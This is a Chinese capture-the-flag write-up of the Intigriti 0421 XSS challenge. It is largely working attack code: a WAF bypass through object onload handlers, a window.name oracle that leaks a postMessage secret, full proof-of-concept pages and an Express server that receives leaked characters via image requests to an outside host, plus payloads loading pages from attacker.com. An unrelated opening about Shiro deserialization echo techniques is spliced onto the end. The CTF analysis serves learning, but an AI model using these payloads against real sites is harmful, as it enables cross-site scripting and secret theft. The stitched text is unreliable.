const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();
function getIdentifier() {
const buf = new Uint32Array(2);
crypto.getRandomValues(buf);
return buf[0].toString(36) + buf[1].toString(36)
}
function htmlError(str, safe){
const div = document.getElementById("error-content");
const container = document.getElementById("error-container");
container.style.display = "block";
if(safe) div.innerHTML = str;
else div.innerText = str;
window.setTimeout(function(){
div.innerHTML = "";
container.style.display = "none";
}, 10000);
}
function addError(str){
wafIframe.postMessage({
identifier,
str
}, '*');
}
window.addEventListener('message', e => {
if(e.data.type === 'waf'){
if(identifier !== e.data.identifier) throw /nice try/
htmlError(e.data.str, e.data.safe)
}
});
window.onload = () => {
const error = (new URL(location)).searchParams.get('error');
if(error !== null) addError(error);
}
</script>
</body>
</html>
waf.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script>
onmessage = e => {
const identifier = e.data.identifier;
e.source.postMessage({
type:'waf',
identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
},'*');
}
function WAF() {
const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
function decodeHTMLEntities(str) {
var ta = document.createElement('textarea');
ta.innerHTML = str;
return ta.value;
}
function onlyASCII(str){
return str.replace(/[^\x21-\x7e]/g,'');
}
function firstTag(str){
return str.search(/<[a-z]+/i)
}
function firstOnHandler(str){
return str.search(/on[a-z]{3,}/i)
}
function firstEqual(str){
return str.search(/=/);
}
function hasDangerousOperators(str){
return dangerous_operators.some(op=>str.includes(op));
}
function hasForbiddenWord(str){
return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
}
this.isSafe = function(str) {
let decoded = onlyASCII(decodeHTMLEntities(str));
const first_tag = firstTag(decoded);
if(first_tag === -1) return true;
decoded = decoded.slice(first_tag);
if(hasForbiddenWord(decoded)) return false;
const first_on_handler = firstOnHandler(decoded);
if(first_on_handler === -1) return true;
decoded = decoded.slice(first_on_handler)
const first_equal = firstEqual(decoded);
if(first_equal === -1) return true;
decoded = decoded.slice(first_equal+1);
if(hasDangerousOperators(decoded)) return false;
return true;
}
}
</script></head><body></body></html>
代码量不大，运行逻辑也很清晰。在主页中可以看到，首先定义了一个随机值`identifier`:
可以在url中引入`error`参数进行有关输入，也能进行html injection：
输入值会通过`postMessage`传递给`waf`，该消息`e.data.indentifier`的值为先前生成的随机值，确保交互通信没有被拦截，`e.data.str`的值为我们的输入:
输入值经过waf的处理后，会对不安全的输入中的各种字符进行检查，经过处理后对`e.data.safe`打上值，认定输入是否是安全的。当`safe:true`时，通过`htmlError()`方法在页面上通过`innerHTML`
`innerText` 显示有关错误信息，可以用于payload的触发。此外，错误信息会在10秒后被删除：
此外，该页面响应头还`X-Frame-Options: DENY` ，无法通过外部的`<iframe>`引用：
下面，对`waf.html`进行分析。waf 规则对一些特殊标签和字符进行了限制：
['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
整个过程是对输入进行纯ascii码、`onXXX`事件、`=`以及包含限制标签和字符的检测。经过调试分析，规则允许注入`onXXX` 事件：
## 0x02 思路分析
在有效提交期内，Intigriti 先后总放出7条hits:
> （4.19）First hint: find the objective!
> （4.20）Time for another hint! Where to smuggle data?
> （4.20）Time for another tip! One bite after another!
> （4.20）Here’s an extra tip: ++ is also an assignment
> （4.22）Let’s give another hint:”Behind a Greater Oracle there stands one
> great Identity” (leak it)
> （4.23）Tipping time! Goal < object(ive)
> （4.24）Another hint: you might need to unload a custom loop!
这里先卖个关子，先不对hits 背后隐藏线索进行解释。感兴趣的小伙伴可以自行尝试，看看能不能通关这个XSS挑战。
结合上面的代码分析，我有了以下思路:
1.寻找一个可以绕过waf 的payload
2.通过`postMessage` 构造合适的消息，达成触发xss的条件
3.突破`identifier`随机值的限制
首先考虑如何绕过waf。由于通过`error`参数值作为的输入需要经过waf的检测，通过前面的分析，waf对很多标签和字符进行了禁止，用于限制恶意代码的执行，可以说规则还是很严格的，很多常用XSS
payload 构成方式都不能使用。`'` `"` ` 被禁止，所以JS字串形式无法使用，`[]` `{}` `()` `=`
被禁止，通过函数赋值的形式也无法使用。此外，`X-Frame-Options:
DENY`的限制，使得我们无法通过`<iframe>`外部引用执行xss，所以思路转向能能够通过输入，在网页内部嵌入一个外部的恶意站点，用来触发xss。此外，我也发现了`onXXX=`事件可以被插入到输入中，并不被禁止。沿着这两个条件分析，进行了大量的测试，最终发现如下形式的payload可以绕过waf的检测。
<object data=XXXXXXX onload=xss></object>
这里使用了`<object>`标签（不在waf的禁止范围内），它用于引入一个外部资源:
尝试插入我的头像，成功：
<object data=https://p5.ssl.qhimg.com/sdm/90_90_100/t0125c3f3f3fc1b13fd.png onload=xss></object>
尝试插入一个外部网页，成功
<object data=https://attacker.com/xss-poc.html onload=xss></object>
下面，验证通过`window.postMessage`控制消息值，达到触发xss的条件。按照这个思路，验证self-xss可行性。可以看到当我们的输入经过waf处理后，`e.data.type='waf'` `e.data.identifer='(事先生成的随机值)''`
`e.data.str='payload'` `e.data.safe='true'or 'false'`：
从前面的分析可以知道，只有`safe=true`时，构造的payload才能被赋值给`div.innerHTML`。结合上述条件，这里构造消息信息如下，传递时为`e`，即可绕过waf的过滤检测：
window.postMessage({
type: 'waf',
identifier: "tze8f445ssb7",
str: '<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
通过`postMessage`触发xss的思路可行，仅在self-xss条件下可行，因为`identifier`的值是随机生成的，需要突破该限制。
截止目前，我的思路整理如下：
* 绕过waf （构造形如`<object data=XXXXXXX onload=xss></object>`的payload可以bypass waf，同时`onXXX=`没有被禁止，可以加载外部页面 ）
* 通过`postMessage`触发xss（self-xss验证可行，可以通过外部页面发送消息）
* 突破`identifier`随机值的限制
为了突破`identifier`随机值的限制，我首先想到的是能不能像 **SQLi 盲注那这样通过特定的反馈，将值一位一位的试出来**
。由于`identifier`是本站生成的，如何在跨站的条件下降该值泄露出来，是关键点的思路。此外，我还发现了一些有趣的点：
`window.neme=""` 可能可以利用，通过特殊方式的将泄露出的字段写入`top.name`中。
为了能将`identifier`一位一位泄露出来，需要构造比较。它的构成只包含`0-9a-z`：
那么如何判断每一位值是多少呢，这有由于禁止`[]`，所以无法使用`identifier[i]`的形式来构造字串进行按位比较。不过我们可以利用以下的规律：
可以看到这里`identifier="tze8f445ssb7"`
第一位是`t`，当比较字符小于`t`时，均返回`false`，当比较字符为`u`时，返回`true`，由此我们可以判定第一位为`t`。保留`t`，继续构造第二位`t?`进行比较：
那么按照这个规律，构造循环进行比较，当每次返回`true`时，即可判断出当前位的值，同时还需要对前面确定的值保存，才能继续判断下一位。我的思路是通过特定的方法构造这个循环，并通过`window.neme=""`可以利用的特性，当一个中间的数据”寄存器”。
首先，为了推算`identifier`第一位，构造如下结构payload：
error=<object data=https://baidu.com/ onload=location.hash+/0/.source<identifier&&window.name++></object>#
这里，当`location.hash+/0/.source<identifier`即`'0'<'t'`成立，然后`&&window.name++`
，即`window.name`
+1。通过`onload`事件重复这个过程，即可在一轮比较后，通过`window.name`的值-1，按照`0-9a-z`的顺序序号，即可推算出`identifier`第一位的值。这里需要注意，对`&`
`+` 进行url编码，否则，在运行过程中会被截断，造成payload因不完整无法执行(`&& --> %26%26` `++ -->
%2b%2b`)，还需要额外添加`~`用来检测`z`：
https://challenge-0421.intigriti.io/
?error=<object data=https://attacker.com/poc.html
onload=location.hash+/0/.source<identifier&&window.name++,
location.hash+/1/.source<identifier&&window.name++,
location.hash+/2/.source<identifier&&window.name++,
location.hash+/3/.source<identifier&&window.name++,
location.hash+/4/.source<identifier&&window.name++,
location.hash+/5/.source<identifier&&window.name++,
location.hash+/6/.source<identifier&&window.name++,
location.hash+/7/.source<identifier&&window.name++,
location.hash+/8/.source<identifier&&window.name++,
location.hash+/9/.source<identifier&&window.name++,
location.hash+/a/.source<identifier&&window.name++,
location.hash+/b/.source<identifier&&window.name++,
location.hash+/c/.source<identifier&&window.name++,
location.hash+/d/.source<identifier&&window.name++,
location.hash+/e/.source<identifier&&window.name++,
location.hash+/f/.source<identifier&&window.name++,
location.hash+/g/.source<identifier&&window.name++,
location.hash+/h/.source<identifier&&window.name++,
location.hash+/i/.source<identifier&&window.name++,
location.hash+/j/.source<identifier&&window.name++,
location.hash+/k/.source<identifier&&window.name++,
location.hash+/l/.source<identifier&&window.name++,
location.hash+/m/.source<identifier&&window.name++,
location.hash+/n/.source<identifier&&window.name++,
location.hash+/o/.source<identifier&&window.name++,
location.hash+/p/.source<identifier&&window.name++,
location.hash+/q/.source<identifier&&window.name++,
location.hash+/r/.source<identifier&&window.name++,
location.hash+/s/.source<identifier&&window.name++,
location.hash+/t/.source<identifier&&window.name++,
location.hash+/u/.source<identifier&&window.name++,
location.hash+/v/.source<identifier&&window.name++,
location.hash+/w/.source<identifier&&window.name++,
location.hash+/x/.source<identifier&&window.name++,
location.hash+/y/.source<identifier&&window.name++,
location.hash+/z/.source<identifier&&window.name++,
location.hash+/~/.source<identifier&&window.name++></object>#
可以看到，该payload成功定位到`identifier`的第一位值。现在需要构造循环，通过13次上述操作（长度为13位），将`identifier`的值全部泄露出来，每个循环开始前还需要将`window.name`归零。
当我们将外部POC页面嵌入题目页面后，尝试利用POC页面获取`top.name`来控制题目页面`window.name`的时候，发现跨域拦截：
那么，现在还需要突破跨域获取`top.name`的限制。经过大量的尝试，一直到提交期截止，也没能找到合适的方式，来捕获用于泄露`identifier`的`window.name`。因为不重新加载窗口的情况下，直接读取跨源资源的`window.name`是不可能的。
通过对赛后POC的思路启发，这里利用了一个特别巧妙的方法。举个例子，当我们执行`window.open("http://XXXX",66)`时，就会弹出一个`window.name='66'`的窗口。但如果已经有一个窗口为`66`，就会执行重定向到该窗口而不是重新弹出。有了这个特性，可以通过一种“试”的方法，暴力测试我们想要获取的题目页面的`window.name`。
这里使用了一个`<iframe sanbox=...>` 来调用`window.open()`，允许top导航变化，但会禁止弹出。
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
同时，当测试出的`window.name`值与实际值一致时，防止真的重定向发生，设置一个无效的协议`xxxx://no-trigger`。这里进行一个简单的验证，例如打开一个`window.name='6'` 的题目页面，通过`<object`payload
将poc.html嵌入，poc.html首内包含测试`window.name`值的代码：
<script>
window.open("https://challenge-0421.intigriti.io/?error=<object data='https://xss-poc.***/poc.html'></object>",3)
function getTopName() {
let i = 0;
for (; i < 10; i++) {
let res = ( () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xss://xss', i);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i;
}
topName = getTopName();
console.log("top_window.name"+topName);
</script>
当我们打开poc.html后，会弹出`https://challenge-0421.intigriti.io/?error=<object
data='https://attacker.com/poc.html`，在新打开的题目页面，会嵌入`https://xss-poc.***/poc.html`，然后执行代码，测出题目页`window.name`值，也就是我们需要的`top.name`，这样便能突破`window.name`跨域获取的限制:
例如，结合前面的payload，成功获取`identifier`第一位对应的`window.name`值：
<body>
<h1>xss poc</h1>
<span>Leaked identifier: <code id=leakedIdentifier></code></span>
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
window.open("https://challenge-0421.intigriti.io/?error=<object data=https://xss-poc.****/poc.html onload=location.hash%2B%2F0%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F1%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F2%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F3%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F4%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F5%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F6%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F7%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F8%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F9%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fa%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fb%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fc%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fd%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fe%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ff%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fg%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fh%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fi%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fj%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fk%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fl%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fm%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fn%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fo%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fp%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fq%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fr%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fs%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ft%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fu%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fv%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fw%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fx%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fy%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fz%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F%7E%2F.source%3Cidentifier%26%26window.name%2B%2B></object>#")
function getTopName() {
let i = 0;
for (; i < 40; i++) {
let res = ( () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xss://xss', i);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i;
}
keywords = "0123456789abcdefghijklmnopqrstuvwxyz~";
function get_char(){
topName = getTopName();
char = keywords[topName-1];
console.log("get_top_window.name: "+ topName);
console.log("this_char: "+ char)
}
setTimeout(get_char,100);
</script>
</body>
结合前面可以通过`window.name`值的累加推算出`identifier`某位的字符，现在又可以通过外部页面获得`top.name`值。通过获得的`top.name`值找到对应的字符，保存在`location.hash`中，继续构造循环及比较下去，即可推算出`identifier`的所有值。为了构造这个循环，需要对重新不停的重新载入题目页面，完成每一次的`identifier`每一位的求解，这里对payload进行了改进，插入两个`<object
...`，通过加载一个空的Blob实现:
<object name=poc data=//attacker.com/poc.html></object>
<object name=xss src=//attacker.com/xss.html onload=XSS></object>
top.xss.location = URL.createObjectURL(new Blob([], { type: 'text/html'}));
当成功泄露出`identifier`值后，即可构造`postMessage`消息，实现xss
## POC
综上，将所有的思路联合起来就能突破题目的各种限制：
1.`<object`绕过waf
2.泄露`identifier`随机值
3.构造`postMessage` 消息，触发xss
完整的POC如下：
<html>
<body>
<span>Leaked identifier: <code id=leakedIdentifier></code></span>
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
const keywords = "0123456789abcdefghijklmnopqrstuvwxyz~"
const payload = keywords.split('').map(c => `location.hash+/${c}/.source</##/.source+identifier&&++top.name`
).join(',')
const thisUrl = location.href.replace('http://', 'https://');
const top_url = 'https://challenge-0421.intigriti.io/?error=' + encodeURIComponent(
`<object style=width:100% name=x data=${thisUrl}></object><object data=` +
`//${location.host}/empty.html name=lload onload=${payload}></object>`
);
if (top === window) {
let startxss = confirm("Start XSS?");
if(!startxss) throw /stopped/;
name = 0;
location = top_url + '##'
throw /stop/
}
let lastValue = 0;
let identifier = '';
let stop = false;
async function getTopName() {
let i = 0;
// it's just magic. tl;dr chrome and firefox work differently
// but this polyglot works for both;
for (; i < keywords.length + 1; i++) {
let res = await (async () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xxxx://no-trigger', i + lastValue);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i + lastValue;
}
async function watchForNameChange() {
let topName = await getTopName();
if (topName !== lastValue) {
const newTopName = topName - lastValue;
lastValue = topName;
get_char(newTopName - 1);
} else {
setTimeout(watchForNameChange, 60);
}
}
function oracleLoaded() {
watchForNameChange();
}
function log(identifier) {
leakedIdentifier.innerHTML = identifier;
console.log(identifier);
}
function get_char(d) {
let c = keywords[d]
if (c === '~') {
identifier = identifier.slice(0, -1) + keywords[keywords.search(identifier.slice(-1)) + 1];
log(identifier);
expxss(identifier);
return;
}
identifier += c;
log(identifier);
top.location = top_url + '##' + identifier;
top.lload.location = URL.createObjectURL(new Blob([
'<script>onload=top.x.oracleLoaded<\/script>'
], {
type: 'text/html'
}));
}
function expxss(identifier) {
stop = true;
top.postMessage({
type: 'waf',
identifier,
str: `<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>`,
safe: true
}, '*')
}
onload = () => {
setTimeout(watchForNameChange, 60);
}
</script>
</body>
</html>
成功实现xss，通过挑战！
这里再对hits进行一个解释：
> （4.19）First hint: find the objective!【 提示`<object>`】
> （4.20）Time for another hint! Where to smuggle data?【提示`object
> data`以及后面可以利用的`locatino.hash`】
> （4.20）Time for another tip! One bite after
> another!【提示需要一位一位的泄露`identifier`】
> （4.20）Here’s an extra tip: ++ is also an assignment
> 【提示可以利用++巧妙的跨站测算出`identifier`】
> （4.22）Let’s give another hint:”Behind a Greater Oracle there stands one
> great Identity” (leak it) 【提示构造比较的方式泄露`identifier`】
> （4.23）Tipping time! Goal < object(ive)
> 【提示利用`<object`标签，采用`identifier<"str"`的方式构造比较】
> （4.24）Another hint: you might need to unload a custom loop! 【提示构造循环】
最后，再放一些利用其他方式的POC。
利用`<img>`:
var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>
<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
</body>
<script>
var payload = // see above
payload = encodeURIComponent(payload)
var baseUrl = 'https://my_server'
// reset first
fetch(baseUrl + '/reset').then(() => {
start()
})
async function start() {
// assume identifier start with 1
console.log('POC started')
if (window.xssWindow) {
window.xssWindow.close()
}
window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')
polling()
}
function polling() {
fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {
// guess fail, restart
if (token === '1zz') {
fetch(baseUrl + '/reset').then(() => {
console.log('guess fail, restart')
start()
})
return
}
if (token.length >= 10) {
window.xssWindow.postMessage({
type: 'waf',
identifier: token,
str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
}
window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`
// After POC finsihed, polling will timeout and got error message, I don't want to print the message
if (token.length > 20) {
return
}
console.log('token:', token)
polling()
})
}
</script>
</html>
var express = require('express')
const app = express()
app.use(express.static('public'));
app.use((req, res, next) => {
res.set('Access-Control-Allow-Origin', '*');
next()
})
const handlerDelay = 100
const loopDelay = 550
var initialData = {
count: 0,
token: '1',
canStartLoop: false,
loopStarted: false,
canSendBack: false
}
var data = {...initialData}
app.get('/reset', (req, res) => {
data = {...initialData}
console.log('======reset=====')
res.end('reset ok')
})
app.get('/polling', (req, res) => {
function handle(req, res) {
if (data.canSendBack) {
data.canSendBack = false
res.status(200)
res.end(data.token)
console.log('send back token:', data.token)
if (data.token.length < 14) {
setTimeout(() => {
data.canStartLoop = true
}, loopDelay)
}
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/loop', (req, res) => {
function handle(req, res) {
if (data.canStartLoop) {
data.canStartLoop = false
res.status(500)
res.end()
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/:char', (req, res) => {
// already start stealing identifier
if (req.params.char.length > 1) {
res.end()
return
}
console.log('char received', req.params.char)
if (data.loopStarted) {
data.token += req.params.char
console.log('token:', data.token)
data.canSendBack = true
res.status(500)
res.end()
return
}
// first round
data.count++
if (data.count === 36) {
console.log('initial image loaded, start loop')
data.count = 0
data.loopStarted = true
data.canStartLoop = true
}
res.status(500)
res.end()
})
app.listen(5555, () => {
console.log('5555')
})
另一个POC：
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
let currentIdentifier = "1";
function getIdentifier() {
return currentIdentifier;
}
async function setIdentifier(identifier) {
console.log("CHANGE GUESS CALLED", identifier);
if (identifier == currentIdentifier) return;
checkWindow.location = `http://localhost:3000/opener.html?not`;
await waitUntilWriteable(checkWindow);
checkWindow.name = "" + identifier;
checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
currentIdentifier = "" + identifier;
await waitForLocationChange(
checkWindow,
`https://challenge-0421.intigriti.io/style.css`
);
}
async function waitForLocationChange(windowReference, location) {
return new Promise((resolve) => {
const handle = setInterval(() => {
try {
if (windowReference.location.href.includes(location)) {
clearInterval(handle);
setTimeout(resolve, 100);
}
} catch (e) {}
});
});
}
async function waitUntilWriteable(windowReference) {
return new Promise((resolve) => {
const handle = setInterval(() => {
try {
if (windowReference.name.length) {
clearInterval(handle);
setTimeout(resolve, 100);
}
} catch (e) {}
});
});
}
(async () => {
checkWindow = window.open(`http://localhost:3000/opener.html`, "1");
await waitForLocationChange(
checkWindow,
`http://localhost:3000/opener.html`
);
checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
})();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
if (location.search.includes("not") === false) {
w = window.open(
`https://challenge-0421.intigriti.io/?error=` +
encodeURIComponent(
`<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object>
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4
ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>`
),
"_blank"
);
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
let lastHeight = 101;
let lastWidth = 101;
const chars = "0123456789abcdefghijklmnopqrstuvwxyz{".split("");
let solvedIdentifier = "";
let checks = 0;
let checksNeeded = 15;
function trySolve() {
try {
window.parent.postMessage(
{
type: "waf",
identifier: solvedIdentifier,
safe: true,
str: "<img src=x onerror=alert('flag{THIS_IS_THE_FLAG}')>",
},
"*"
);
} catch (e) {}
}
async function foundChar(char) {
console.log("FOUND CHAR: ", char);
solvedIdentifier = `${solvedIdentifier}${char}`;
console.log("TOTAL SOLVED", solvedIdentifier);
await window.parent.opener.opener.setIdentifier(`${solvedIdentifier}1`);
if (solvedIdentifier.length > 12) trySolve();
}
let locked = false;
setInterval(async () => {
const { innerHeight, innerWidth } = window;
if (innerHeight === lastHeight && innerWidth === lastWidth) {
return;
}
checks++;
if (checks < checksNeeded || checks % checksNeeded !== 0) {
return;
}
const currentIdentifier = window.parent.opener.opener.getIdentifier();
if (solvedIdentifier.length >= currentIdentifier.length) {
return;
}
const currentChar = currentIdentifier.substr(-1);
const targetedChar = chars[chars.indexOf(currentChar) - 1];
if (!targetedChar) return;
const nextChar = chars[chars.indexOf(currentChar) + 1];
console.log("currentIdentifier:", currentIdentifier);
console.log("currentChar:", currentChar);
console.log("targetedChar:", targetedChar);
console.log("nextChar:", nextChar);
if (innerWidth > lastWidth) {
setTimeout(() => (locked = false), 1000);
if (!locked) {
locked = true;
lastWidth = innerWidth + 100;
await foundChar(targetedChar);
}
return;
}
if (innerHeight > lastHeight) {
locked = false;
await window.parent.opener.opener.setIdentifier(
`${solvedIdentifier}${nextChar}`
);
lastWidth = innerWidth;
lastHeight = innerHeight;
}
}, 100);
</script>
</body>
</html> | 社区文章 |
## 故事的起因
一直觉得shiro反序列化是一个很舒服的洞，payload原生加密（无特征），做项目时有概率遇见并且又是java反序列化洞所以危害又很大。不过尽管这样shiro打起来依然有java反序列化漏洞利用的两个痛点。其一是可用的gadget，其二是带内回显的问题（不出网回显）。不过某天在刷tw的时候发现第二个痛点国内已经有大佬解决了。
注意看图，shiro的回显并不在http响应包中而是在http响应包之前，很玄学的回显对吧？联想最近在看了一篇文章[通杀漏洞利用回显方法-linux平台](https://www.00theway.org/2020/01/17/java-god-s-eye/)，按我的理解这篇文章的思路大致是通过java反序列化执行java代码&&系统命令获取到发起这次请求时对应的服务端socket文件描述符，然后在文件描述符写入回显内容。上图的回显效果和这种思路非常相似。
## 技术的难点
实现这种技术的难点在于如何通过java反序列化执行代码获取本次http请求用到socket的文件描述符（服务器对外开放的时fd下会有很多socket描述符）。
